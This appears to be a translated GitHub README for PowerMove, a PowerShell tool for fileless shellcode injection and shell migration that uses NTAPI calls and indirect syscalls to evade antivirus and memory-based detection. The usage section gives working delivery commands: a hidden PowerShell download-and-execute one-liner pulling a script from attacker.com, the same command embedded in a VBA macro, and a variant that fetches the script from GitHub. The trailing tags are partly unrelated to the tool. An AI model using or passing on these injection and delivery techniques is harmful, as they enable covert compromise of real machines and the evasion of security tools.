10N351R/PowerMove
GitHub: 10N351R/PowerMove
PowerMove 是一个用 PowerShell 编写的无文件进程注入工具,通过逐步引入 NTAPI 和动态间接 syscall 来绕过安全检测,实现 shellcode 注入与 shell 迁移。
Stars: 3 | Forks: 1

# PowerMove.ps1
作者:10N351R
PowerMove 是一个用 PowerShell 编写的无文件进程注入工具,用于注入 shellcode 并将你的 shell 迁移到新进程。PowerMove 使用常见的 WINAPI(例如 `OpenProcess`、`VirtualAllocEx`、`WriteProcessMemory` 和 `CreateRemoteThread`)来执行简单的进程注入。这种 WINAPI 的组合在存储于磁盘时通常会被杀毒软件检测到,但如果完全在内存中执行,则可以绕过这些保护机制。
测试的 PowerShell 版本:`5.1.19041.4522`
## 使用说明
要在现有的 PowerShell shell 中使用 PowerMove
1. 将 PowerMove.ps1 的内容复制到文本编辑器中
2. 修改 `$targetPid` 变量,填入要注入的目标进程的 PID
3. 修改 `$shellcode` 变量,填入你希望注入的 payload
4. 将从开头 `###` 到结尾 `###` 的内容复制到你的剪贴板
5. 将内容粘贴到你现有的 PowerShell shell 中并按下 `Enter`
6. 享受无文件进程注入带来的优势
## 输出

# PowerMove_dynamic.ps1
创建 `PowerMove_dynamic.ps1` 是为了添加动态 PID 解析功能,以便在 VBA 宏中通过 COM 对象进行远程执行而无需嵌入。
测试的 PowerShell 版本:`5.1.26100.4202`
# PowerMoveNT.ps1
创建 `PowerMoveNT.ps1` 是作为 `PowerMove_dynamic.ps1` 的进阶版本,它通过动态识别的 NTAPI 来执行进程注入。
## 输出

# PowerMove2.0
PowerMove2.0 框架被开发为 PowerShell 中的动态间接 syscall 执行框架,它利用运行时生成的 syscall stub、手动 marshaling 以及基于 delegate 的非托管调用。
PowerMove2.0 没有依赖静态导入、硬编码的 syscall 表或传统的 P/Invoke 绑定到 `ntdll.dll`,而是从实时的 `ntdll` 映像中动态发现 syscall,构建 syscall stub,绑定类型 delegate,并公开易于使用的包装函数来与原生 Windows API 进行交互。
`PowerMove2.0_INDIRECT.ps1` 是 `PowerMoveNT.ps1` 的进阶版本,它通过动态识别的间接 syscall 来执行进程注入。
PowerMove2.0 使用了受 [Souhardya 的 Catharsis](https://github.com/Souhardya/Catharsis) 启发的动态 syscall stub 生成器。

通过在 `eax` 加载恶意的 syscall ID 时,将标准执行流程跳转到良性 NTAPI 的备用 `SYSCALL` 指令,PowerMove2.0 能够规避基于内存的检测方案。
注意事项:`PowerMove2.0_INDIRECT.ps1` 不包含任何调用栈操作技术。`PowerMove2.0_INDIRECT.ps1` 仅适用于 x64 Windows 架构。
已知问题:`PowerMove2.0_INDIRECT.ps1` 没有包含对适用备用 NTAPI 的限制器,这意味着可能会偶然使用到可疑的 `SYSCALL` 指令 —— 该问题将在后续修复。`PowerMove2.0_INDIRECT.ps1` 会使用 RWX 权限执行初始内存分配。
## 输出

# 使用说明
大多数 PowerMove 脚本可以在 Visual Basic for Applications (VBA) 宏中执行,或直接从 PowerShell 执行。
1. 将 `PowerMove_dynamic.ps1` 的内容复制到文本编辑器中
2. 修改 `$targetProcName` 变量,填入你要定位的进程名称(例如 `notepad`、`explorer`、`svchost`)
3. 修改 `$shellcode` 变量,填入你希望注入的 payload
4. 将 `PowerMove_dynamic.ps1` 托管在目标主机可访问的服务器上
5. 在目标主机上执行
### 使用 PowerShell
```
powershell.exe -nop -w hidden -Command ""$h=New-Object -ComObject 'Msxml2.XMLHTTP';$h.open('GET','http://attacker.com/PowerMove_dynamic.ps1',$false);$h.send();IEX $h.responseText""
```
### 使用 VBA 宏
```
Sub TEST()
Dim ps As String
ps = "powershell.exe -nop -w hidden -Command ""$h=New-Object -ComObject 'Msxml2.XMLHTTP';$h.open('GET','http://attacker.com/PowerMove_dynamic.ps1',$false);$h.send();IEX $h.responseText"""
Shell ps, vbHide
End Sub
```
### 使用 Notepad 进行测试
```
powershell.exe -nop -NoExit -Command ""$h=New-Object -ComObject 'Msxml2.XMLHTTP';$h.open('GET','https://raw.githubusercontent.com/10N351R/PowerMove/refs/heads/main/PowerMove_dynamic.ps1',$false);$h.send();IEX $h.responseText""
```
## 免责声明
**道德使用:** PowerMove 仅出于教育和合法目的提供。对于因使用此工具而造成的任何滥用或损害,作者不承担任何责任。使用此工具即表示你同意以道德的方式使用它,并遵守所有适用的法律和法规。严禁未经授权使用此工具,否则可能导致严重的法律后果。
**人工智能的使用:** 此工具部分是在人工智能(AI)的协助下开发的,并包含使用 OpenAI 的 ChatGPT(一种 AI 语言模型)生成的代码片段。
标签:AI合规, IPv6, Libemu, OpenCanary, PowerShell, Shellcode 执行, SSH蜜罐, 云资产清单, 端点可见性, 系统底层, 进程注入, 逆向工程